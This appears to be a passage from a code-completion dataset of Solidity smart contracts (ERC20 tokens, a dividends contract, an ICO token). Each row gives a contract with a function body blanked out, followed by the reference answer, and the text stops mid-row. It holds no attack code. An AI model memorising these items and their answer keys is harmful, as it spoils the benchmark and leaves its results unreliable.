event Approval(address indexed owner, address indexed spender, uint256 token); <FILL_FUNCTION>
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
// prevent 0 and attack!
require(_value > 0 && _value <= totalSupply, 'Invalid token amount to transfer!');
require(_to != ZERO_ADDR, 'Cannot send to ZERO address!');
require(_from != _to, "Cannot send token to yourself!");
require (balanceOf[_from] >= _value, "No enough token to transfer!");
// update balance before transfer
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// ------------------------------------------------------------------------
function transfer(address to, uint256 token) public returns (bool success) {
return _transfer(msg.sender, to, token);
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 token) public returns (bool success) {
require(spender != ZERO_ADDR);
require(balanceOf[msg.sender] >= token, "No enough balance to approve!");
// prevent state race attack
require(allowance[msg.sender][spender] == 0 || token == 0, "Invalid allowance state!");
allowance[msg.sender][spender] = token;
emit Approval(msg.sender, spender, token);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 token) public returns (bool success) {
require(allowance[from][msg.sender] >= token, "No enough allowance to transfer!");
allowance[from][msg.sender] = allowance[from][msg.sender].sub(token);
_transfer(from, to, token);
return true;
}
//destroy this contract
function destroy() public {
require(msg.sender == creator, "You're not creator!");
selfdestruct(creator);
}
//Fallback: reverts if Ether is sent to this smart contract by mistake
fallback() external {
revert();
}
} |
// name = _name;
// symbol = _symbol;
// totalSupply = _total.mul(uint256(10) ** _decimals);
// decimals = _decimals;
creator = msg.sender;
balanceOf[creator] = totalSupply;
emit Transfer(ZERO_ADDR, msg.sender, totalSupply);
| constructor () public | //eip20
/* Initializes contract with initial supply tokens to the creator of the contract */
// constructor (string memory _name, string memory _symbol, uint256 _total, uint256 _decimals) public {
constructor () public |
1334 | Dividends | PayDividends | contract Dividends is ERC20Base, Ownable {
DAppDEXI public DEX;
address[] public tokens;
mapping (address => uint) public tokensIndex;
mapping (uint => mapping (address => uint)) public dividends;
mapping (address => mapping (address => uint)) public ownersbal;
mapping (uint => mapping (address => mapping (address => bool))) public AlreadyReceived;
uint public multiplier = 100000; // precision to ten thousandth percent (0.001%)
event Payment(address indexed sender, uint amount);
event setDEXContractEvent(address dex);
function AddToken(address token) public {
require(msg.sender == address(DEX));
tokens.push(token);
tokensIndex[token] = tokens.length-1;
}
function DelToken(address token) public {
require(msg.sender == address(DEX));
require(tokens[tokensIndex[token]] != 0);
tokens[tokensIndex[token]] = tokens[tokens.length-1];
tokens.length = tokens.length-1;
}
// Take profit for dividends from DEX contract
function TakeProfit(uint offset, uint limit) external {
require (limit <= tokens.length);
require (offset < limit);
uint N = (block.timestamp - start) / period;
require (N > 0);
for (uint k = offset; k < limit; k++) {
if(dividends[N][tokens[k]] == 0 ) {
uint amount = DEX.balanceOf(tokens[k], address(this));
if (k == 0) {
DEX.withdraw(amount);
dividends[N][tokens[k]] = amount;
} else {
DEX.withdrawToken(tokens[k], amount);
dividends[N][tokens[k]] = amount;
}
}
}
}
function () public payable {
emit Payment(msg.sender, msg.value);
}
// PayDividends to owners
function PayDividends(address token, uint offset, uint limit) external {<FILL_FUNCTION_BODY> }
// PayDividends individuals to msg.sender
function PayDividends(address token) external {
//require (address(this).balance > 0);
uint N = (block.timestamp - start) / period; // current - 1
uint date = start + N * period - 1;
require(dividends[N][token] > 0);
if (!AlreadyReceived[N][token][msg.sender]) {
uint share = safeMul(balanceOf(msg.sender, date), multiplier);
share = safeDiv(safeMul(share, 100), totalSupply_); // calc the percentage of the totalSupply_ (from 100%)
share = safePerc(dividends[N][token], share);
share = safeDiv(share, safeDiv(multiplier, 100)); // safeDiv(multiplier, 100) - convert to hundredths
ownersbal[msg.sender][token] = safeAdd(ownersbal[msg.sender][token], share);
AlreadyReceived[N][token][msg.sender] = true;
}
}
// withdraw dividends
function withdraw(address token, uint _value) external {
require(ownersbal[msg.sender][token] >= _value);
ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value);
if (token == address(0)) {
msg.sender.transfer(_value);
} else {
ERC20I(token).transfer(msg.sender, _value);
}
}
// withdraw dividends to address
function withdraw(address token, uint _value, address _receiver) external {
require(ownersbal[msg.sender][token] >= _value);
ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value);
if (token == address(0)) {
_receiver.transfer(_value);
} else {
ERC20I(token).transfer(_receiver, _value);
}
}
function setMultiplier(uint _value) external onlyOwner {
require(_value > 0);
multiplier = _value;
}
function getMultiplier() external view returns (uint ) {
return multiplier;
}
// link to DEX contract
function setDEXContract(address _contract) external onlyOwner {
DEX = DAppDEXI(_contract);
emit setDEXContractEvent(_contract);
}
} | contract Dividends is ERC20Base, Ownable {
DAppDEXI public DEX;
address[] public tokens;
mapping (address => uint) public tokensIndex;
mapping (uint => mapping (address => uint)) public dividends;
mapping (address => mapping (address => uint)) public ownersbal;
mapping (uint => mapping (address => mapping (address => bool))) public AlreadyReceived;
uint public multiplier = 100000; // precision to ten thousandth percent (0.001%)
event Payment(address indexed sender, uint amount);
event setDEXContractEvent(address dex);
function AddToken(address token) public {
require(msg.sender == address(DEX));
tokens.push(token);
tokensIndex[token] = tokens.length-1;
}
function DelToken(address token) public {
require(msg.sender == address(DEX));
require(tokens[tokensIndex[token]] != 0);
tokens[tokensIndex[token]] = tokens[tokens.length-1];
tokens.length = tokens.length-1;
}
// Take profit for dividends from DEX contract
function TakeProfit(uint offset, uint limit) external {
require (limit <= tokens.length);
require (offset < limit);
uint N = (block.timestamp - start) / period;
require (N > 0);
for (uint k = offset; k < limit; k++) {
if(dividends[N][tokens[k]] == 0 ) {
uint amount = DEX.balanceOf(tokens[k], address(this));
if (k == 0) {
DEX.withdraw(amount);
dividends[N][tokens[k]] = amount;
} else {
DEX.withdrawToken(tokens[k], amount);
dividends[N][tokens[k]] = amount;
}
}
}
}
function () public payable {
emit Payment(msg.sender, msg.value);
}
<FILL_FUNCTION>
// PayDividends individuals to msg.sender
function PayDividends(address token) external {
//require (address(this).balance > 0);
uint N = (block.timestamp - start) / period; // current - 1
uint date = start + N * period - 1;
require(dividends[N][token] > 0);
if (!AlreadyReceived[N][token][msg.sender]) {
uint share = safeMul(balanceOf(msg.sender, date), multiplier);
share = safeDiv(safeMul(share, 100), totalSupply_); // calc the percentage of the totalSupply_ (from 100%)
share = safePerc(dividends[N][token], share);
share = safeDiv(share, safeDiv(multiplier, 100)); // safeDiv(multiplier, 100) - convert to hundredths
ownersbal[msg.sender][token] = safeAdd(ownersbal[msg.sender][token], share);
AlreadyReceived[N][token][msg.sender] = true;
}
}
// withdraw dividends
function withdraw(address token, uint _value) external {
require(ownersbal[msg.sender][token] >= _value);
ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value);
if (token == address(0)) {
msg.sender.transfer(_value);
} else {
ERC20I(token).transfer(msg.sender, _value);
}
}
// withdraw dividends to address
function withdraw(address token, uint _value, address _receiver) external {
require(ownersbal[msg.sender][token] >= _value);
ownersbal[msg.sender][token] = safeSub(ownersbal[msg.sender][token], _value);
if (token == address(0)) {
_receiver.transfer(_value);
} else {
ERC20I(token).transfer(_receiver, _value);
}
}
function setMultiplier(uint _value) external onlyOwner {
require(_value > 0);
multiplier = _value;
}
function getMultiplier() external view returns (uint ) {
return multiplier;
}
// link to DEX contract
function setDEXContract(address _contract) external onlyOwner {
DEX = DAppDEXI(_contract);
emit setDEXContractEvent(_contract);
}
} |
//require (address(this).balance > 0);
require (limit <= owners.length);
require (offset < limit);
uint N = (block.timestamp - start) / period; // current - 1
uint date = start + N * period - 1;
require(dividends[N][token] > 0);
uint share = 0;
uint k = 0;
for (k = offset; k < limit; k++) {
if (!AlreadyReceived[N][token][owners[k]]) {
share = safeMul(balanceOf(owners[k], date), multiplier);
share = safeDiv(safeMul(share, 100), totalSupply_); // calc the percentage of the totalSupply_ (from 100%)
share = safePerc(dividends[N][token], share);
share = safeDiv(share, safeDiv(multiplier, 100)); // safeDiv(multiplier, 100) - convert to hundredths
ownersbal[owners[k]][token] = safeAdd(ownersbal[owners[k]][token], share);
AlreadyReceived[N][token][owners[k]] = true;
}
}
| function PayDividends(address token, uint offset, uint limit) external | // PayDividends to owners
function PayDividends(address token, uint offset, uint limit) external |
83134 | StandardToken | approve | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> }
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
require(allowed[_from][msg.sender] >= _value);
require(balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
<FILL_FUNCTION>
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} |
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
| function approve(address _spender, uint256 _value) public returns (bool) | /**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) |
43268 | Zorro01Token | mint | contract Zorro01Token is ERC20Token {
// VARIABLES ================================
// basic token data
string public constant name = "Zorro01";
string public constant symbol = "ZORRO01";
uint8 public constant decimals = 18;
string public constant GITHUB_LINK = 'htp://github.com/..'; // TODO
// wallet address (can be reset at any time during ICO)
address public wallet;
// ICO variables that can be reset before ICO starts
uint public tokensPerEth = 100000;
uint public icoTokenSupply = 500;
// ICO constants #1
uint public constant TOTAL_TOKEN_SUPPLY = 1000;
uint public constant ICO_TRIGGER = 10;
uint public constant MIN_CONTRIBUTION = 10**15;
// ICO constants #2 : ICO dates
// Start - Friday, 15-Sep-17 00:00:00 UTC
// End - Sunday, 15-Oct-17 00:00:00 UTC
// as per http://www.unixtimestamp.com
uint public constant START_DATE = 1502748000;
uint public constant END_DATE = 1502751600;
// ICO variables
uint public icoTokensIssued = 0;
bool public icoFinished = false;
bool public tradeable = false;
// Minting
uint public ownerTokensMinted = 0;
// other variables
uint256 constant MULT_FACTOR = 10**18;
// EVENTS ===================================
event LogWalletUpdated(
address newWallet
);
event LogTokensPerEthUpdated(
uint newTokensPerEth
);
event LogIcoTokenSupplyUpdated(
uint newIcoTokenSupply
);
event LogTokensBought(
address indexed buyer,
uint ethers,
uint tokens,
uint participantTokenBalance,
uint newIcoTokensIssued
);
event LogMinting(
address indexed participant,
uint tokens,
uint newOwnerTokensMinted
);
// FUNCTIONS ================================
// --------------------------------
// initialize
// --------------------------------
function Zorro01Token() {
owner = msg.sender;
wallet = msg.sender;
}
// --------------------------------
// implement totalSupply() ERC20 function
// --------------------------------
function totalSupply() constant
returns (uint256)
{
return TOTAL_TOKEN_SUPPLY;
}
// --------------------------------
// changing ICO parameters
// --------------------------------
// Owner can change the crowdsale wallet address at any time
//
function setWallet(address _wallet) onlyOwner
{
wallet = _wallet;
LogWalletUpdated(wallet);
}
// Owner can change the number of tokens per ETH before the ICO start date
//
function setTokensPerEth(uint _tokensPerEth) onlyOwner
{
require(now < START_DATE);
require(_tokensPerEth > 0);
tokensPerEth = _tokensPerEth;
LogTokensPerEthUpdated(tokensPerEth);
}
// Owner can change the number available tokens for the ICO
// (must be below 70 million)
//
function setIcoTokenSupply(uint _icoTokenSupply) onlyOwner
{
require(now < START_DATE);
require(_icoTokenSupply < 70000000);
icoTokenSupply = _icoTokenSupply;
LogIcoTokenSupplyUpdated(icoTokenSupply);
}
// --------------------------------
// Default function
// --------------------------------
function () payable
{
proxyPayment(msg.sender);
}
// --------------------------------
// Accept ETH during crowdsale
// --------------------------------
function proxyPayment(address participant) payable
{
require(!icoFinished);
require(now >= START_DATE);
require(now <= END_DATE);
require(msg.value > MIN_CONTRIBUTION);
// get number of tokens
uint tokens = msg.value * tokensPerEth / MULT_FACTOR;
// first check if there is enough capacity
uint available = icoTokenSupply - icoTokensIssued;
require (tokens <= available);
// ok it's possible to issue tokens so let's do it
// Add tokens purchased to account's balance and total supply
// TODO - verify SafeAdd is not necessary
balances[participant] += tokens;
icoTokensIssued += tokens;
// Transfer the tokens to the participant
Transfer(0x0, participant, tokens);
// Log the token purchase
LogTokensBought(participant, msg.value, tokens, balances[participant], icoTokensIssued);
// Transfer the contributed ethers to the crowdsale wallet
// throw is deprecated starting from Ethereum v0.9.0
wallet.transfer(msg.value);
}
// --------------------------------
// Minting of tokens by owner
// --------------------------------
// Tokens remaining available to mint by owner
//
function availableToMint()
returns (uint)
{
if (icoFinished) {
return TOTAL_TOKEN_SUPPLY - icoTokensIssued - ownerTokensMinted;
} else {
return TOTAL_TOKEN_SUPPLY - icoTokenSupply - ownerTokensMinted;
}
}
// Minting of tokens by owner
//
function mint(address participant, uint256 tokens) onlyOwner
{<FILL_FUNCTION_BODY> }
// --------------------------------
// Declare ICO finished
// --------------------------------
function declareIcoFinished() onlyOwner
{
// the token can only be made tradeable after ICO finishes
require( now > START_DATE || icoTokenSupply - icoTokensIssued < ICO_TRIGGER );
icoFinished = true;
}
// --------------------------------
// Make tokens tradeable
// --------------------------------
function tradeable() onlyOwner
{
// the token can only be made tradeable after ICO finishes
require(icoFinished);
tradeable = true;
}
// --------------------------------
// Transfers
// --------------------------------
function transfer(address _to, uint _amount)
returns (bool success)
{
// Cannot transfer out until tradeable, except for owner
require(tradeable || msg.sender == owner);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount)
returns (bool success)
{
// not possible until tradeable
require(tradeable);
return super.transferFrom(_from, _to, _amount);
}
// --------------------------------
// Varia
// --------------------------------
// Transfer out any accidentally sent ERC20 tokens
function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
} | contract Zorro01Token is ERC20Token {
// VARIABLES ================================
// basic token data
string public constant name = "Zorro01";
string public constant symbol = "ZORRO01";
uint8 public constant decimals = 18;
string public constant GITHUB_LINK = 'htp://github.com/..'; // TODO
// wallet address (can be reset at any time during ICO)
address public wallet;
// ICO variables that can be reset before ICO starts
uint public tokensPerEth = 100000;
uint public icoTokenSupply = 500;
// ICO constants #1
uint public constant TOTAL_TOKEN_SUPPLY = 1000;
uint public constant ICO_TRIGGER = 10;
uint public constant MIN_CONTRIBUTION = 10**15;
// ICO constants #2 : ICO dates
// Start - Friday, 15-Sep-17 00:00:00 UTC
// End - Sunday, 15-Oct-17 00:00:00 UTC
// as per http://www.unixtimestamp.com
uint public constant START_DATE = 1502748000;
uint public constant END_DATE = 1502751600;
// ICO variables
uint public icoTokensIssued = 0;
bool public icoFinished = false;
bool public tradeable = false;
// Minting
uint public ownerTokensMinted = 0;
// other variables
uint256 constant MULT_FACTOR = 10**18;
// EVENTS ===================================
event LogWalletUpdated(
address newWallet
);
event LogTokensPerEthUpdated(
uint newTokensPerEth
);
event LogIcoTokenSupplyUpdated(
uint newIcoTokenSupply
);
event LogTokensBought(
address indexed buyer,
uint ethers,
uint tokens,
uint participantTokenBalance,
uint newIcoTokensIssued
);
event LogMinting(
address indexed participant,
uint tokens,
uint newOwnerTokensMinted
);
// FUNCTIONS ================================
// --------------------------------
// initialize
// --------------------------------
function Zorro01Token() {
owner = msg.sender;
wallet = msg.sender;
}
// --------------------------------
// implement totalSupply() ERC20 function
// --------------------------------
function totalSupply() constant
returns (uint256)
{
return TOTAL_TOKEN_SUPPLY;
}
// --------------------------------
// changing ICO parameters
// --------------------------------
// Owner can change the crowdsale wallet address at any time
//
function setWallet(address _wallet) onlyOwner
{
wallet = _wallet;
LogWalletUpdated(wallet);
}
// Owner can change the number of tokens per ETH before the ICO start date
//
function setTokensPerEth(uint _tokensPerEth) onlyOwner
{
require(now < START_DATE);
require(_tokensPerEth > 0);
tokensPerEth = _tokensPerEth;
LogTokensPerEthUpdated(tokensPerEth);
}
// Owner can change the number available tokens for the ICO
// (must be below 70 million)
//
function setIcoTokenSupply(uint _icoTokenSupply) onlyOwner
{
require(now < START_DATE);
require(_icoTokenSupply < 70000000);
icoTokenSupply = _icoTokenSupply;
LogIcoTokenSupplyUpdated(icoTokenSupply);
}
// --------------------------------
// Default function
// --------------------------------
function () payable
{
proxyPayment(msg.sender);
}
// --------------------------------
// Accept ETH during crowdsale
// --------------------------------
function proxyPayment(address participant) payable
{
require(!icoFinished);
require(now >= START_DATE);
require(now <= END_DATE);
require(msg.value > MIN_CONTRIBUTION);
// get number of tokens
uint tokens = msg.value * tokensPerEth / MULT_FACTOR;
// first check if there is enough capacity
uint available = icoTokenSupply - icoTokensIssued;
require (tokens <= available);
// ok it's possible to issue tokens so let's do it
// Add tokens purchased to account's balance and total supply
// TODO - verify SafeAdd is not necessary
balances[participant] += tokens;
icoTokensIssued += tokens;
// Transfer the tokens to the participant
Transfer(0x0, participant, tokens);
// Log the token purchase
LogTokensBought(participant, msg.value, tokens, balances[participant], icoTokensIssued);
// Transfer the contributed ethers to the crowdsale wallet
// throw is deprecated starting from Ethereum v0.9.0
wallet.transfer(msg.value);
}
// --------------------------------
// Minting of tokens by owner
// --------------------------------
// Tokens remaining available to mint by owner
//
function availableToMint()
returns (uint)
{
if (icoFinished) {
return TOTAL_TOKEN_SUPPLY - icoTokensIssued - ownerTokensMinted;
} else {
return TOTAL_TOKEN_SUPPLY - icoTokenSupply - ownerTokensMinted;
}
}
<FILL_FUNCTION>
// --------------------------------
// Declare ICO finished
// --------------------------------
function declareIcoFinished() onlyOwner
{
// the token can only be made tradeable after ICO finishes
require( now > START_DATE || icoTokenSupply - icoTokensIssued < ICO_TRIGGER );
icoFinished = true;
}
// --------------------------------
// Make tokens tradeable
// --------------------------------
function tradeable() onlyOwner
{
// the token can only be made tradeable after ICO finishes
require(icoFinished);
tradeable = true;
}
// --------------------------------
// Transfers
// --------------------------------
function transfer(address _to, uint _amount)
returns (bool success)
{
// Cannot transfer out until tradeable, except for owner
require(tradeable || msg.sender == owner);
return super.transfer(_to, _amount);
}
function transferFrom(address _from, address _to, uint _amount)
returns (bool success)
{
// not possible until tradeable
require(tradeable);
return super.transferFrom(_from, _to, _amount);
}
// --------------------------------
// Varia
// --------------------------------
// Transfer out any accidentally sent ERC20 tokens
function transferAnyERC20Token(address tokenAddress, uint amount) onlyOwner
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
} |
require( tokens <= availableToMint() );
balances[participant] += tokens;
ownerTokensMinted += tokens;
Transfer(0x0, participant, tokens);
LogMinting(participant, tokens, ownerTokensMinted);
| function mint(address participant, uint256 tokens) onlyOwner
| // Minting of tokens by owner
//
function mint(address participant, uint256 tokens) onlyOwner
|
73403 | ERC20 | _approve | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
// require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
// require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {<FILL_FUNCTION_BODY> }
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
} | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
// require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
